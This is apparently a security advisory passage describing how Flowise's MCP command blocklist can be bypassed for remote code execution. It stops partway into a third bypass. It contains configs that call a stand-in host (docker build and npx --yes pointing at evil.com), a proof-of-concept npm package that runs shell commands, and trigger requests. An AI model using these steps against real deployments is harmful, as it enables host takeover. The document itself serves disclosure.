Flowise has an MCP Security Bypass that Enables RCE
Summary
There are three bypass methods for the security limitations of the Flowise MCP feature, and attackers can execute arbitrary commands by combining these three methods
Details
【Vulnerability one】The Docker build subcommand not being on the blocklist leads to remote code execution
The attacker configures the interface through the MCP tool to provide {"command":"docker","args":["build","https://evil.com/"]} as the Custom MCP Server configuration
→ Bypass the validateCommandFlags docker blocklist (only blocks run/exec/-v/--volume, etc., but does not block build)
→ docker build <remote-URL> will pull the Dockerfile from the remote address and execute the RUN instructions within it
→ Allows attackers to escape from Docker through methods such as mounting, thereby gaining full control of the Flowise host machine
Precondition:
1. Have a Flowise account (any role, including regular users) or an API with view&update permissions for chatflows
2. The deployment environment has the docker command
Vulnerable function - validateCommandFlags:
```
file: packages/components/nodes/tools/MCP/core.ts:260-310
const COMMAND_FLAG_BLACKLIST: Record<string, string[]> = {
docker: [
'run', 'exec', '-v', '--volume', '--privileged', '--cap-add',
'--security-opt', '--network', '--pid', '--ipc'
// 'build', 'pull', 'push', 'cp', 'commit' are not on the blocklist
],
npx: ['-c', '--call', '--shell-auto-fallback', '-y'],
npm: ['run', 'exec', 'install', '--prefix', '-g', '--global', 'publish', 'adduser', 'login'],
// ...
}
export function validateCommandFlags(command: string, args: string[]): ValidationResult {
const blacklist = COMMAND_FLAG_BLACKLIST[command] || []
for (const arg of args) {
if (blacklist.includes(arg)) {
return { valid: false, error: Argument '${arg}' is not allowed for command '${command}' }
}
}
return { valid: true }
}
```
Reproduction process:
Add MCP config via UI or API interface, for example:
<img width="1280" height="414" alt="2f0b6dfad5458616781921e1c28339d0" src="https://github.com/user-attachments/assets/6c8419c5-6261-46bb-8a30-3ac1ec3fb599" />
Then execute:
```
POST /api/v1/prediction/{chatflows_id} HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Authorization: Bearer apikey
Content-Length: 17
{"question": "1"}
```
After execution, the command can be triggered to execute docker build http://evil.com
<img width="1280" height="319" alt="f98e1d91428be6077ac6cf0472285f17" src="https://github.com/user-attachments/assets/856d46b4-7949-4091-bed9-a7c3fecc62f0" />
If a privileged container is deployed, then it can fully control the Flowise host machine
【Vulnerability two】 npx --yes long parameter alias bypassing blocklist leads to remote code execution
The attacker configures the MCP tool to provide {"command":"npx","args":["--yes","malicious-package"]}
→ validateCommandFlags npx blocklist only contains short parameter -y, and does not block long parameter alias --yes
→ npx --yes malicious-package automatically agrees to install and execute any npm package
→ Leads to remote code execution (RCE) on the server
Precondition:
1. Have a Flowise account (any role, including regular users) or an API with view&update permissions for chatflows
2. The deployment environment has the npx command
npx blocklist:
```
file: packages/components/nodes/tools/MCP/core.ts:270-280
npx: ['-c', '--call', '--shell-auto-fallback', '-y'],
// Only the short parameter -y is present, without the long parameter alias --yes
```
Reproduction process:
Add MCP config via UI or API interface, for example:
<img width="1910" height="690" alt="85ea14ea224df9ed501827dfa47afb09" src="https://github.com/user-attachments/assets/8f3a2299-5460-4d23-b113-79ba4a9e52b6" />
```
{
"command": "npx",
"args":["--yes", "http://evil.com/FileName.tar"]
}
```
Contents of the tar file:
```
// index.js
#!/usr/bin/env node
const http = require('http');
const { execSync } = require('child_process');
const result = execSync('id && hostname').toString().trim();
console.error('[MCP-RCE-002] npx --yes bypass: ' + result);
// package.json
{
"name": "attacker-mcp-pkg",
"version": "1.0.0",
"bin": {
"attacker-mcp-pkg": "./index.js"
},
"scripts": {
"postinstall": ""
}
}
```
Then execute:
```
POST /api/v1/prediction/{chatflows_id} HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Authorization: Bearer apikey
Content-Length: 17
{"question": "1"}
```
can trigger the vulnerability, execute the attacker's commands, and achieve RCE:
<img width="3026" height="256" alt="4c466067deb4606a38e4b73806661328" src="https://github.com/user-attachments/assets/e9821e3f-bda4-4c6a-bcd1-0b19053045c9" />
node command bypassing local file restrictions leads to remote code execution
When configuring the CustomMCP node, the attacker provides {"comman
